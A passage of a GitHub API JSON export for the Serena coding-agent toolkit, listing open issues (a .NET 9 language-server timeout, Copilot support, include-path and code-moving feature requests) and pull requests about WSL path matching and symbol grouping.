        "blocking": 0,
        "total_blocking": 0
      },
      "body": "@bdruth thanks for the report! It was a bug, this tool was abusing the max_answer_chars concept. I pushed a hotfix in d0fa9bd53776ed, but we should change it to use an independent number, like max_memory_length.\r\n\r\n_Originally posted by @MischaPanch in https://github.com/oraios/serena/issues/523#issuecomment-3217445220_\r\n            ",
      "closed_by": null,
      "reactions": {
        "url": "https://api.github.com/repos/oraios/serena/issues/527/reactions",
        "total_count": 0,
        "+1": 0,
        "-1": 0,
        "laugh": 0,
        "hooray": 0,
        "confused": 0,
        "heart": 0,
        "rocket": 0,
        "eyes": 0
      },
      "performed_via_github_app": null,
      "state_reason": null,
      "pinned_comment": null,
      "linked_prs": []
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/issues/513",
      "id": 3344759956,
      "node_id": "I_kwDOONgOes7HXPyU",
      "number": 513,
      "title": "[B] LSP Timeout when loading .NET 9 projects in SolidLSP (System.TimeoutException in NamedPipeClientStream)",
      "user": {
        "login": "Dissimilis",
        "id": 7642759,
        "node_id": "MDQ6VXNlcjc2NDI3NTk=",
        "avatar_url": "https://avatars.githubusercontent.com/u/7642759?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/Dissimilis",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "labels": {},
      "state": "open",
      "locked": false,
      "assignee": null,
      "assignees": {},
      "milestone": null,
      "comments": 9,
      "created_at": "2025-08-22T09:11:44Z",
      "updated_at": "2026-02-13T17:29:13Z",
      "closed_at": null,
      "author_association": "NONE",
      "type": null,
      "active_lock_reason": null,
      "sub_issues_summary": {
        "total": 0,
        "completed": 0,
        "percent_completed": 0
      },
      "issue_dependencies_summary": {
        "blocked_by": 0,
        "total_blocked_by": 0,
        "blocking": 0,
        "total_blocking": 0
      },
      "body": "**Describe the bug**\nThe Language Server Protocol (LSP) integration in Serena (via SolidLSP) fails with a timeout error during project or file loading for .NET 9 targeted C# projects. This occurs when tools like FindSymbolTool or FindFileTool are invoked, triggering the LSP to load csproj or individual cs files. The underlying exception is a System.TimeoutException in NamedPipeClientStream.ConnectInternal, which appears to stem from a hardcoded ~10-second timeout in Roslyn's BuildHostProcessManager. This prevents semantic analysis and symbol retrieval for .NET 9 projects.\nDowngrading the project to .NET 8 resolves the issue, suggesting compatibility problems with .NET 9 (possibly due to slower startup or SDK mismatches in the Microsoft.CodeAnalysis.LanguageServer).\n\n**Screenshots/Logs**\n\n`ERROR 2025-08-22 11:50:05,871 [LSP-stdout-reader] solidlsp:window_log_message:535 - LSP: [textDocument/documentSymbol] [LanguageServerProjectLoader] Error while loading C:\\code\\AiGames\\src\\AiGamesWeb\\Controllers\\ViewModels\\HomeControllerViewModel.cs: Exception thrown: System.TimeoutException: The operation has timed out. at System.IO.Pipes.NamedPipeClientStream.ConnectInternal(Int32 timeout, CancellationToken cancellationToken, Int32 startTime) at Microsoft.CodeAnalysis.MSBuild.BuildHostProcessManager.BuildHostProcess..ctor(Process process, String pipeName, ILoggerFactory loggerFactory) in /_/src/Workspaces/MSBuild/Core/MSBuild/BuildHostProcessManager.cs:line 405 at Microsoft.CodeAnalysis.MSBuild.BuildHostProcessManager.GetBuildHostAsync(BuildHostProcessKind buildHostKind, CancellationToken cancellationToken) in /_/src/Workspaces/MSBuild/Core/MSBuild/BuildHostProcessManager.cs:line 96 at Microsoft.CodeAnalysis.LanguageServer.FileBasedPrograms.FileBasedProgramsProjectSystem.TryLoadProjectInMSBuildHostAsync(BuildHostProcessManager buildHostProcessManager, String documentPath, CancellationToken cancellationToken) in /_/src/LanguageServer/Microsoft.CodeAnalysis.LanguageServer/FileBasedPrograms/FileBasedProgramsProjectSystem.cs:line 153 at Microsoft.CodeAnalysis.LanguageServer.HostWorkspace.LanguageServerProjectLoader.ReloadProjectAsync(ProjectToLoad projectToLoad, ToastErrorReporter toastErrorReporter, BuildHostProcessManager buildHostProcessManager, CancellationToken cancellationToken) in /_/src/LanguageServer/Microsoft.CodeAnalysis.LanguageServer/HostWorkspace/LanguageServerProjectLoader.cs:line 202`\n\n**Desktop**\n\nOS: Windows 11, .NET SDK: 9.0\nSerena Version: Latest from git  (installed via uvx --from git+https://github.com/oraios/serena), Integrated with Claude Code, using uv for virtualenv management\n\n**Additional**\n\nManual dotnet restore and dotnet build work fine outside Serena.\n\nPotential fix ideas: Make the timeout configurable in SolidLSP, fallback to alternative C# LSPs like csharp-ls (which supports .NET 9), or update the bundled Roslyn LSP to a version with better .NET 9 compatibility.",
      "closed_by": {
        "login": "opcode81",
        "id": 1295099,
        "node_id": "MDQ6VXNlcjEyOTUwOTk=",
        "avatar_url": "https://avatars.githubusercontent.com/u/1295099?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/opcode81",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "reactions": {
        "url": "https://api.github.com/repos/oraios/serena/issues/513/reactions",
        "total_count": 0,
        "+1": 0,
        "-1": 0,
        "laugh": 0,
        "hooray": 0,
        "confused": 0,
        "heart": 0,
        "rocket": 0,
        "eyes": 0
      },
      "performed_via_github_app": null,
      "state_reason": "reopened",
      "pinned_comment": null,
      "linked_prs": []
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/issues/500",
      "id": 3334365632,
      "node_id": "I_kwDOONgOes7GvmHA",
      "number": 500,
      "title": "GitHub Copilot Support",
      "user": {
        "login": "TheCrazyLex",
        "id": 8428955,
        "node_id": "MDQ6VXNlcjg0Mjg5NTU=",
        "avatar_url": "https://avatars.githubusercontent.com/u/8428955?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/TheCrazyLex",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "labels": {
        "0": {
          "id": 8341035886,
          "node_id": "LA_kwDOONgOes8AAAAB8Sobbg",
          "url": "https://api.github.com/repos/oraios/serena/labels/documentation",
          "name": "documentation",
          "color": "0075ca",
          "default": true,
          "description": "Improvements or additions to documentation"
        },
        "1": {
          "id": 8341035891,
          "node_id": "LA_kwDOONgOes8AAAAB8Sobcw",
          "url": "https://api.github.com/repos/oraios/serena/labels/good%20first%20issue",
          "name": "good first issue",
          "color": "7057ff",
          "default": true,
          "description": "Good for newcomers"
        }
      },
      "state": "open",
      "locked": false,
      "assignee": null,
      "assignees": {},
      "milestone": null,
      "comments": 10,
      "created_at": "2025-08-19T13:19:17Z",
      "updated_at": "2025-12-11T10:18:37Z",
      "closed_at": null,
      "author_association": "NONE",
      "type": null,
      "active_lock_reason": null,
      "sub_issues_summary": {
        "total": 0,
        "completed": 0,
        "percent_completed": 0
      },
      "issue_dependencies_summary": {
        "blocked_by": 0,
        "total_blocked_by": 0,
        "blocking": 0,
        "total_blocking": 0
      },
      "body": "I believe this might be an interesting topic to explore here:\n\n- Does Serena work well with GitHub Copilot? If so, does it work well with all models there?\n- Should instructions on how to set up Serena for GitHub Copilot be added to the README (or at least a mention)?",
      "closed_by": null,
      "reactions": {
        "url": "https://api.github.com/repos/oraios/serena/issues/500/reactions",
        "total_count": 3,
        "+1": 2,
        "-1": 0,
        "laugh": 0,
        "hooray": 0,
        "confused": 0,
        "heart": 1,
        "rocket": 0,
        "eyes": 0
      },
      "performed_via_github_app": null,
      "state_reason": null,
      "pinned_comment": null,
      "linked_prs": []
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/issues/491",
      "id": 3325126246,
      "node_id": "I_kwDOONgOes7GMWZm",
      "number": 491,
      "title": "Feature Request: Add include paths configuration option",
      "user": {
        "login": "gn0rt0n",
        "id": 1416754,
        "node_id": "MDQ6VXNlcjE0MTY3NTQ=",
        "avatar_url": "https://avatars.githubusercontent.com/u/1416754?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/gn0rt0n",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "labels": {
        "0": {
          "id": 8341035889,
          "node_id": "LA_kwDOONgOes8AAAAB8SobcQ",
          "url": "https://api.github.com/repos/oraios/serena/labels/enhancement",
          "name": "enhancement",
          "color": "a2eeef",
          "default": true,
          "description": "New feature or request"
        }
      },
      "state": "open",
      "locked": false,
      "assignee": null,
      "assignees": {},
      "milestone": null,
      "comments": 2,
      "created_at": "2025-08-15T12:04:16Z",
      "updated_at": "2026-02-07T14:45:49Z",
      "closed_at": null,
      "author_association": "NONE",
      "type": null,
      "active_lock_reason": null,
      "sub_issues_summary": {
        "total": 0,
        "completed": 0,
        "percent_completed": 0
      },
      "issue_dependencies_summary": {
        "blocked_by": 0,
        "total_blocked_by": 0,
        "blocking": 0,
        "total_blocking": 0
      },
      "body": "**Problem:**\nCurrently, when using `.gitignore` integration, it's an all-or-nothing approach. I have my entire `vendor/` directory in `.gitignore` (which I want to keep), but I sometimes need Serena to analyze specific vendor subdirectories where I'm extending or modifying modules.\n\n**Proposed Solution:**\ninclude_paths: []\nAdd an \"include paths\" configuration option that works alongside `.gitignore` settings. This would allow users to:\n- Honor `.gitignore` for broad exclusions (like `vendor/`)\n- Selectively include specific paths that would otherwise be ignored (like `vendor/company/reference-module/`)\n\n**Use Case:**\nWhen extending third-party modules, I need Serena to analyze those specific vendor directories so it can properly compare classes and functions. Currently, my options are either:\n1. Disable `.gitignore` integration entirely (includes too much)\n2. Manually exclude everything except what I want (maintenance-heavy)\n\nAn include paths option would let me exclude `vendor/` broadly while including just the 1-2 vendor directories I'm actively working on.\n\n**Expected Behavior:**\n```json\n{\n  \"respectGitignore\": true,\n  \"includePaths\": [\n    \"vendor/company-foo/module-to-reference\",\n    \"vendor/company-bar/module-to-extend\"\n  ]\n}\n```\n",
      "closed_by": null,
      "reactions": {
        "url": "https://api.github.com/repos/oraios/serena/issues/491/reactions",
        "total_count": 0,
        "+1": 0,
        "-1": 0,
        "laugh": 0,
        "hooray": 0,
        "confused": 0,
        "heart": 0,
        "rocket": 0,
        "eyes": 0
      },
      "performed_via_github_app": null,
      "state_reason": null,
      "pinned_comment": null,
      "linked_prs": []
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/issues/465",
      "id": 3310588504,
      "node_id": "I_kwDOONgOes7FU5JY",
      "number": 465,
      "title": "Installation of TypeScript language server dependencies failed",
      "user": {
        "login": "ivanbulanov",
        "id": 1404364,
        "node_id": "MDQ6VXNlcjE0MDQzNjQ=",
        "avatar_url": "https://avatars.githubusercontent.com/u/1404364?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/ivanbulanov",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "labels": {},
      "state": "open",
      "locked": false,
      "assignee": null,
      "assignees": {},
      "milestone": null,
      "comments": 5,
      "created_at": "2025-08-11T15:38:27Z",
      "updated_at": "2025-11-23T10:02:09Z",
      "closed_at": null,
      "author_association": "NONE",
      "type": null,
      "active_lock_reason": null,
      "sub_issues_summary": {
        "total": 0,
        "completed": 0,
        "percent_completed": 0
      },
      "issue_dependencies_summary": {
        "blocked_by": 0,
        "total_blocked_by": 0,
        "blocking": 0,
        "total_blocking": 0
      },
      "body": "The issue is more or less resolved. Somebody might find the following info useful.\n\nI am using `asdf` for managing tool versions. I didn't have a global (per-user) Node.js version.\n\nSerena's health check output the following:\n```\nINFO  2025-08-11 19:06:19,599 solidlsp:_setup_runtime_dependencies:126 - Typescript Language Server executable not found at /home/ivanb/.serena/language_servers/static/TypeScriptLanguageServer/ts-lsp/node_modules/.bin/typescript-language-server. Installing...\nINFO  2025-08-11 19:06:19,599 solidlsp:start:329 - Installation of TypeScript language server dependencies starting ...\nINFO  2025-08-11 19:06:19,606 solidlsp.language_servers.common:_run_command:89 - Running command 'npm install --prefix ./ typescript@5.5.4' in '/home/ivanb/.serena/language_servers/static/TypeScriptLanguageServer/ts-lsp'\n```\n\nApparently it installs the language server to \"\\~/.serena/language_servers/static/TypeScriptLanguageServer/ts-lsp/node_modules\". The working directory for `npm` is \"\\~/.serena/language_servers/static/TypeScriptLanguageServer/ts-lsp\".\n\nThere is no `.tool-versions` file there and there was no per-user Node.js version set by `asdf`. Thus, `asdf` couldn't find neither Node nor npm executables.\n\nI fixed it by setting a per-user node version with `asdf set -u nodejs 24.4.1`.\n\nIt's not an ideal fix. I'm working on various projects, some with legacy versions of TypeScript. Maybe `serena` should have an option to install its dependencies, such as LSPs, in a project-local directory. Then it would use the same tool versions as set by version managers.",
      "closed_by": null,
      "reactions": {
        "url": "https://api.github.com/repos/oraios/serena/issues/465/reactions",
        "total_count": 0,
        "+1": 0,
        "-1": 0,
        "laugh": 0,
        "hooray": 0,
        "confused": 0,
        "heart": 0,
        "rocket": 0,
        "eyes": 0
      },
      "performed_via_github_app": null,
      "state_reason": null,
      "pinned_comment": null,
      "linked_prs": []
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/issues/301",
      "id": 3228320562,
      "node_id": "I_kwDOONgOes7AbEMy",
      "number": 301,
      "title": "Feature request: Add tools for moving code",
      "user": {
        "login": "KelvinChung2000",
        "id": 67872121,
        "node_id": "MDQ6VXNlcjY3ODcyMTIx",
        "avatar_url": "https://avatars.githubusercontent.com/u/67872121?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/KelvinChung2000",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "labels": {
        "0": {
          "id": 8341035889,
          "node_id": "LA_kwDOONgOes8AAAAB8SobcQ",
          "url": "https://api.github.com/repos/oraios/serena/labels/enhancement",
          "name": "enhancement",
          "color": "a2eeef",
          "default": true,
          "description": "New feature or request"
        },
        "1": {
          "id": 8776553704,
          "node_id": "LA_kwDOONgOes8AAAACCx-U6A",
          "url": "https://api.github.com/repos/oraios/serena/labels/low%20priority",
          "name": "low priority",
          "color": "aaaaaa",
          "default": false,
          "description": null
        }
      },
      "state": "open",
      "locked": false,
      "assignee": null,
      "assignees": {},
      "milestone": null,
      "comments": 2,
      "created_at": "2025-07-14T10:53:15Z",
      "updated_at": "2025-08-02T11:10:16Z",
      "closed_at": null,
      "author_association": "NONE",
      "type": null,
      "active_lock_reason": null,
      "sub_issues_summary": {
        "total": 0,
        "completed": 0,
        "percent_completed": 0
      },
      "issue_dependencies_summary": {
        "blocked_by": 0,
        "total_blocked_by": 0,
        "blocking": 0,
        "total_blocking": 0
      },
      "body": "Instead of just reading the symbol information, sometimes it is more desirable to copy a code section than to paste. This is useful for refactoring tasks, which involve copying and pasting code from one file to another or moving a section of code into a function. The main benefits will be a lower chance of the LLM hallucinating the code during code movement. \n\nA side benefit, I suppose, is that it can reduce the number of output tokens, since now a code movement turns from reading and writing the same thing to a single tool call. ",
      "closed_by": null,
      "reactions": {
        "url": "https://api.github.com/repos/oraios/serena/issues/301/reactions",
        "total_count": 0,
        "+1": 0,
        "-1": 0,
        "laugh": 0,
        "hooray": 0,
        "confused": 0,
        "heart": 0,
        "rocket": 0,
        "eyes": 0
      },
      "performed_via_github_app": null,
      "state_reason": null,
      "pinned_comment": null,
      "linked_prs": []
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/issues/186",
      "id": 3160288383,
      "node_id": "I_kwDOONgOes68Xix_",
      "number": 186,
      "title": "Make use of diagnostics methods in LS",
      "user": {
        "login": "MischaPanch",
        "id": 35432522,
        "node_id": "MDQ6VXNlcjM1NDMyNTIy",
        "avatar_url": "https://avatars.githubusercontent.com/u/35432522?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/MischaPanch",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "labels": {
        "0": {
          "id": 8341035889,
          "node_id": "LA_kwDOONgOes8AAAAB8SobcQ",
          "url": "https://api.github.com/repos/oraios/serena/labels/enhancement",
          "name": "enhancement",
          "color": "a2eeef",
          "default": true,
          "description": "New feature or request"
        }
      },
      "state": "open",
      "locked": false,
      "assignee": null,
      "assignees": {},
      "milestone": null,
      "comments": 1,
      "created_at": "2025-06-19T13:08:47Z",
      "updated_at": "2025-10-10T01:01:17Z",
      "closed_at": null,
      "author_association": "CONTRIBUTOR",
      "type": null,
      "active_lock_reason": null,
      "sub_issues_summary": {
        "total": 0,
        "completed": 0,
        "percent_completed": 0
      },
      "issue_dependencies_summary": {
        "blocked_by": 0,
        "total_blocked_by": 0,
        "blocking": 0,
        "total_blocking": 0
      },
      "body": "Should be easy and really help, get diagnostics after every edit. Don't accept edits that create syntax errors\n\nMaybe make tool \"get problems in code\" like in IDEs.\n\nSince this is central functionality for LS, should not require much/any hacking",
      "closed_by": null,
      "reactions": {
        "url": "https://api.github.com/repos/oraios/serena/issues/186/reactions",
        "total_count": 1,
        "+1": 1,
        "-1": 0,
        "laugh": 0,
        "hooray": 0,
        "confused": 0,
        "heart": 0,
        "rocket": 0,
        "eyes": 0
      },
      "performed_via_github_app": null,
      "state_reason": null,
      "pinned_comment": null,
      "linked_prs": []
    }
  ],
  "pulls": [
    {
      "url": "https://api.github.com/repos/oraios/serena/pulls/1037",
      "id": 3282964590,
      "node_id": "PR_kwDOONgOes7DrhBu",
      "number": 1037,
      "state": "open",
      "locked": false,
      "title": "Fix: robust canonicalization and matching (jetbrains_plugin_client)",
      "user": {
        "login": "CRaFT4ik",
        "id": 1649292,
        "node_id": "MDQ6VXNlcjE2NDkyOTI=",
        "avatar_url": "https://avatars.githubusercontent.com/u/1649292?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/CRaFT4ik",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "body": "## Improve path matching for Windows/WSL/DevContainer environments\r\n\r\n### Problem\r\nWhen Serena runs inside a DevContainer or WSL, the JetBrains plugin returns the project root in the host’s native format (e.g., `\"C:/Users/user/...\"`). The previous matching logic attempted to normalize this with `_normalize_wsl_path()` and then used `Path.resolve()` + direct equality check. This approach failed in several scenarios:\r\n\r\n- The normalization would sometimes produce paths like `/workspaces/serena/C:/Users/user/...` instead of the expected `/mnt/c/Users/user/...`.\r\n- `Path.resolve()` behaves differently depending on the filesystem context (symlinks, case sensitivity, trailing slashes), and a simple string equality often returned `False` even for the same logical location.\r\n- Mixed environments (Windows host + WSL + DevContainer) introduced multiple layers of path prefixes that were not handled.\r\n\r\nExample from logs:  \r\n- Local project root: `/mnt/c/Users/user/projects/my-app`  \r\n- Plugin project root (after old normalization): `/workspaces/serena/C:/Users/user/projects/my-app`  \r\n- Despite both pointing to the same physical directory, the paths differ, causing the match to fail and Serena to report “Found no Serena service”.\r\n\r\n### Changes\r\n1. **Path canonicalization**  \r\n   Added `_canonicalize_path()` that normalizes various path forms (Windows drive letters, WSL UNC paths, DevContainer prefixes) into a consistent POSIX‑like lowercase string. It strips container prefixes (e.g., `/workspaces/serena/`) and converts `C:/...` to `/mnt/c/...`, producing a clean canonical representation.\r\n\r\n2. **Improved matching logic**  \r\n   The `matches()` method now:  \r\n   - Tries an **exact canonical match** first.  \r\n   - If that fails, checks whether one path is a **suffix** of the other (handles cases where the plugin path includes a container prefix like `/workspaces/serena/`).  \r\n   - Falls back to comparing the **last N components** (currently 3) as a heuristic for deeply nested paths.  \r\n   - Logs raw and canonical values, original comparison result (when safely computable), and the decision path for full transparency.\r\n\r\n3. **Extensive logging**  \r\n   Added detailed debug logs to trace the matching process, making it easier to diagnose future path‑related issues.\r\n\r\n4. **Unit tests**  \r\n   Added tests covering Windows, WSL, DevContainer scenarios, and edge cases (e.g., trailing slashes, mixed case, relative paths).\r\n\r\nThese changes ensure that projects are correctly identified even when paths are represented differently due to the underlying runtime environment.\r\n",
      "created_at": "2026-02-13T22:14:47Z",
      "updated_at": "2026-02-13T22:32:05Z",
      "closed_at": null,
      "merged_at": null,
      "merge_commit_sha": "3d2505a43fa4b70742e10b83e9281aa9bbcc572c",
      "assignee": null,
      "assignees": {},
      "requested_reviewers": {},
      "requested_teams": {},
      "labels": {},
      "milestone": null,
      "draft": false,
      "head": {
        "label": "CRaFT4ik:fix/jetbrains-plugin-wsl-windows",
        "ref": "fix/jetbrains-plugin-wsl-windows",
        "sha": "8901e4a8c9a652a8f01a615a77e6d75f8eaa9f5f",
        "user": {
          "login": "CRaFT4ik",
          "id": 1649292,
          "node_id": "MDQ6VXNlcjE2NDkyOTI=",
          "avatar_url": "https://avatars.githubusercontent.com/u/1649292?v=4",
          "gravatar_id": "",
          "url": "https://api.github.com/users/CRaFT4ik",
          "type": "User",
          "user_view_type": "public",
          "site_admin": false
        },
        "repo": {
          "id": 1157486566,
          "node_id": "R_kgDORP3X5g",
          "name": "serena",
          "full_name": "CRaFT4ik/serena",
          "private": false,
          "owner": {
            "login": "CRaFT4ik",
            "id": 1649292,
            "node_id": "MDQ6VXNlcjE2NDkyOTI=",
            "avatar_url": "https://avatars.githubusercontent.com/u/1649292?v=4",
            "gravatar_id": "",
            "url": "https://api.github.com/users/CRaFT4ik",
            "type": "User",
            "user_view_type": "public",
            "site_admin": false
          },
          "description": "A powerful coding agent toolkit providing semantic retrieval and editing capabilities (MCP server & other integrations)",
          "fork": true,
          "url": "https://api.github.com/repos/CRaFT4ik/serena",
          "created_at": "2026-02-13T21:54:20Z",
          "updated_at": "2026-02-13T21:54:21Z",
          "pushed_at": "2026-02-13T22:32:04Z",
          "homepage": "https://oraios.github.io/serena",
          "size": 5724,
          "stargazers_count": 0,
          "watchers_count": 0,
          "language": null,
          "has_issues": false,
          "has_projects": true,
          "has_downloads": true,
          "has_wiki": false,
          "has_pages": false,
          "has_discussions": false,
          "forks_count": 0,
          "archived": false,
          "disabled": false,
          "open_issues_count": 0,
          "license": {
            "key": "mit",
            "name": "MIT License",
            "spdx_id": "MIT",
            "url": "https://api.github.com/licenses/mit",
            "node_id": "MDc6TGljZW5zZTEz"
          },
          "allow_forking": true,
          "is_template": false,
          "web_commit_signoff_required": false,
          "has_pull_requests": true,
          "pull_request_creation_policy": "all",
          "topics": {},
          "visibility": "public",
          "forks": 0,
          "open_issues": 0,
          "watchers": 0,
          "default_branch": "main"
        }
      },
      "base": {
        "label": "oraios:main",
        "ref": "main",
        "sha": "d69f53cd5ac945410785b111581a0ed52565d411",
        "user": {
          "login": "oraios",
          "id": 181485370,
          "node_id": "O_kgDOCtE_Og",
          "avatar_url": "https://avatars.githubusercontent.com/u/181485370?v=4",
          "gravatar_id": "",
          "url": "https://api.github.com/users/oraios",
          "type": "Organization",
          "user_view_type": "public",
          "site_admin": false
        },
        "repo": {
          "id": 953683578,
          "node_id": "R_kgDOONgOeg",
          "name": "serena",
          "full_name": "oraios/serena",
          "private": false,
          "owner": {
            "login": "oraios",
            "id": 181485370,
            "node_id": "O_kgDOCtE_Og",
            "avatar_url": "https://avatars.githubusercontent.com/u/181485370?v=4",
            "gravatar_id": "",
            "url": "https://api.github.com/users/oraios",
            "type": "Organization",
            "user_view_type": "public",
            "site_admin": false
          },
          "description": "A powerful coding agent toolkit providing semantic retrieval and editing capabilities (MCP server & other integrations)",
          "fork": false,
          "url": "https://api.github.com/repos/oraios/serena",
          "created_at": "2025-03-23T22:35:24Z",
          "updated_at": "2026-02-15T01:14:52Z",
          "pushed_at": "2026-02-14T23:58:04Z",
          "homepage": "https://oraios.github.io/serena",
          "size": 6236,
          "stargazers_count": 20225,
          "watchers_count": 20225,
          "language": "Python",
          "has_issues": true,
          "has_projects": true,
          "has_downloads": true,
          "has_wiki": false,
          "has_pages": true,
          "has_discussions": true,
          "forks_count": 1361,
          "archived": false,
          "disabled": false,
          "open_issues_count": 75,
          "license": {
            "key": "mit",
            "name": "MIT License",
            "spdx_id": "MIT",
            "url": "https://api.github.com/licenses/mit",
            "node_id": "MDc6TGljZW5zZTEz"
          },
          "allow_forking": true,
          "is_template": false,
          "web_commit_signoff_required": false,
          "has_pull_requests": true,
          "pull_request_creation_policy": "all",
          "topics": {
            "0": "agent",
            "1": "ai",
            "2": "ai-coding",
            "3": "claude",
            "4": "claude-code",
            "5": "language-server",
            "6": "llms",
            "7": "mcp-server",
            "8": "programming",
            "9": "vibe-coding"
          },
          "visibility": "public",
          "forks": 1361,
          "open_issues": 75,
          "watchers": 20225,
          "default_branch": "main"
        }
      },
      "_links": {
        "self": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/1037"
        },
        "html": {
          "href": "https://github.com/oraios/serena/pull/1037"
        },
        "issue": {
          "href": "https://api.github.com/repos/oraios/serena/issues/1037"
        },
        "comments": {
          "href": "https://api.github.com/repos/oraios/serena/issues/1037/comments"
        },
        "review_comments": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/1037/comments"
        },
        "review_comment": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/comments{/number}"
        },
        "commits": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/1037/commits"
        },
        "statuses": {
          "href": "https://api.github.com/repos/oraios/serena/statuses/8901e4a8c9a652a8f01a615a77e6d75f8eaa9f5f"
        }
      },
      "author_association": "NONE",
      "auto_merge": null,
      "active_lock_reason": null,
      "linked_issues": []
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/pulls/1036",
      "id": 3281787544,
      "node_id": "PR_kwDOONgOes7DnBqY",
      "number": 1036,
      "state": "open",
      "locked": false,
      "title": "Implement generic SymbolDictGrouper ",
      "user": {
        "login": "opcode81",
        "id": 1295099,
        "node_id": "MDQ6VXNlcjEyOTUwOTk=",
        "avatar_url": "https://avatars.githubusercontent.com/u/1295099?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/opcode81",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "body": "... with specialisations for LS & JB\r\n\r\nIt represents a reasonable compromise between pragmatism and type-safety. Soundness is checked at runtime, but if the grouper is instantiated statically, then we immediately detect misspecification.\r\n\r\nApply the grouper to the relevant tools.",
      "created_at": "2026-02-13T17:21:39Z",
      "updated_at": "2026-02-14T23:58:04Z",
      "closed_at": null,
      "merged_at": null,
      "merge_commit_sha": "64a9ef255f792ed3dc81f876e2cc4da7ab03f7f9",
      "assignee": null,
      "assignees": {},
      "requested_reviewers": {},
      "requested_teams": {},
      "labels": {},
      "milestone": null,
      "draft": false,
      "head": {
        "label": "oraios:generic-symbol-output-grouping",
        "ref": "generic-symbol-output-grouping",
        "sha": "52cc9729d27ffdfba2c6a5543df52b367c250b0c",
        "user": {
          "login": "oraios",
          "id": 181485370,
          "node_id": "O_kgDOCtE_Og",
          "avatar_url": "https://avatars.githubusercontent.com/u/181485370?v=4",
          "gravatar_id": "",
          "url": "https://api.github.com/users/oraios",
          "type": "Organization",
          "user_view_type": "public",
          "site_admin": false
        },
        "repo": {
          "id": 953683578,
          "node_id": "R_kgDOONgOeg",
          "name": "serena",
          "full_name": "oraios/serena",
          "private": false,
          "owner": {
            "login": "oraios",
            "id": 181485370,
            "node_id": "O_kgDOCtE_Og",
            "avatar_url": "https://avatars.githubusercontent.com/u/181485370?v=4",
            "gravatar_id": "",
            "url": "https://api.github.com/users/oraios",
            "type": "Organization",
            "user_view_type": "public",
            "site_admin": false
          },
          "description": "A powerful coding agent toolkit providing semantic retrieval and editing capabilities (MCP server & other integrations)",
          "fork": false,
          "url": "https://api.github.com/repos/oraios/serena",
          "created_at": "2025-03-23T22:35:24Z",
          "updated_at": "2026-02-15T01:14:52Z",
          "pushed_at": "2026-02-14T23:58:04Z",
          "homepage": "https://oraios.github.io/serena",
          "size": 6236,
          "stargazers_count": 20225,
          "watchers_count": 20225,
          "language": "Python",
          "has_issues": true,
          "has_projects": true,
          "has_downloads": true,
          "has_wiki": false,
          "has_pages": true,
          "has_discussions": true,
          "forks_count": 1361,
          "archived": false,
          "disabled": false,
          "open_issues_count": 75,
          "license": {
            "key": "mit",
            "name": "MIT License",
            "spdx_id": "MIT",
            "url": "https://api.github.com/licenses/mit",
            "node_id": "MDc6TGljZW5zZTEz"
          },
          "allow_forking": true,
          "is_template": false,
          "web_commit_signoff_required": false,
          "has_pull_requests": true,
          "pull_request_creation_policy": "all",
          "topics": {
            "0": "agent",
            "1": "ai",
            "2": "ai-coding",
            "3": "claude",
            "4": "claude-code",
            "5": "language-server",
            "6": "llms",
            "7": "mcp-server",
            "8": "programming",
            "9": "vibe-coding"
          },
          "visibility": "public",
          "forks": 1361,
          "open_issues": 75,
          "watchers": 20225,
          "default_branch": "main"
        }
      },
      "base": {
        "label": "oraios:main",
        "ref": "main",
        "sha": "15f60a0b1f3dfc8f653b15a0057c3baf55447a4b",
        "user": {
          "login": "oraios",
          "id": 181485370,
          "node_id": "O_kgDOCtE_Og",
          "avatar_url": "https://avatars.githubusercontent.com/u/181485370?v=4",
          "gravatar_id": "",
          "url": "https://api.github.com/users/oraios",
          "type": "Organization",
          "user_view_type": "public",
          "site_admin": false
        },
        "repo": {
          "id": 953683578,
          "node_id": "R_kgDOONgOeg",
          "name": "serena",
          "full_name": "oraios/serena",
          "private": false,
          "owner": {
            "login": "oraios",
            "id": 181485370,
            "node_id": "O_kgDOCtE_Og",
            "avatar_url": "https://avatars.githubusercontent.com/u/181485370?v=4",
            "gravatar_id": "",
            "url": "https://api.github.com/users/oraios",
            "type": "Organization",
            "user_view_type": "public",
            "site_admin": false
          },
          "description": "A powerful coding agent toolkit providing semantic retrieval and editing capabilities (MCP server & other integrations)",
          "fork": false,
          "url": "https://api.github.com/repos/oraios/serena",
          "created_at": "2025-03-23T22:35:24Z",
          "updated_at": "2026-02-15T01:14:52Z",
          "pushed_at": "2026-02-14T23:58:04Z",
          "homepage": "https://oraios.github.io/serena",
          "size": 6236,
          "stargazers_count": 20225,
          "watchers_count": 20225,
          "language": "Python",
          "has_issues": true,
          "has_projects": true,
          "has_downloads": true,
          "has_wiki": false,
          "has_pages": true,
          "has_discussions": true,
          "forks_count": 1361,
          "archived": false,
          "disabled": false,
          "open_issues_count": 75,
          "license": {
            "key": "mit",
            "name": "MIT License",
            "spdx_id": "MIT",
            "url": "https://api.github.com/licenses/mit",
            "node_id": "MDc6TGljZW5zZTEz"
          },
          "allow_forking": true,
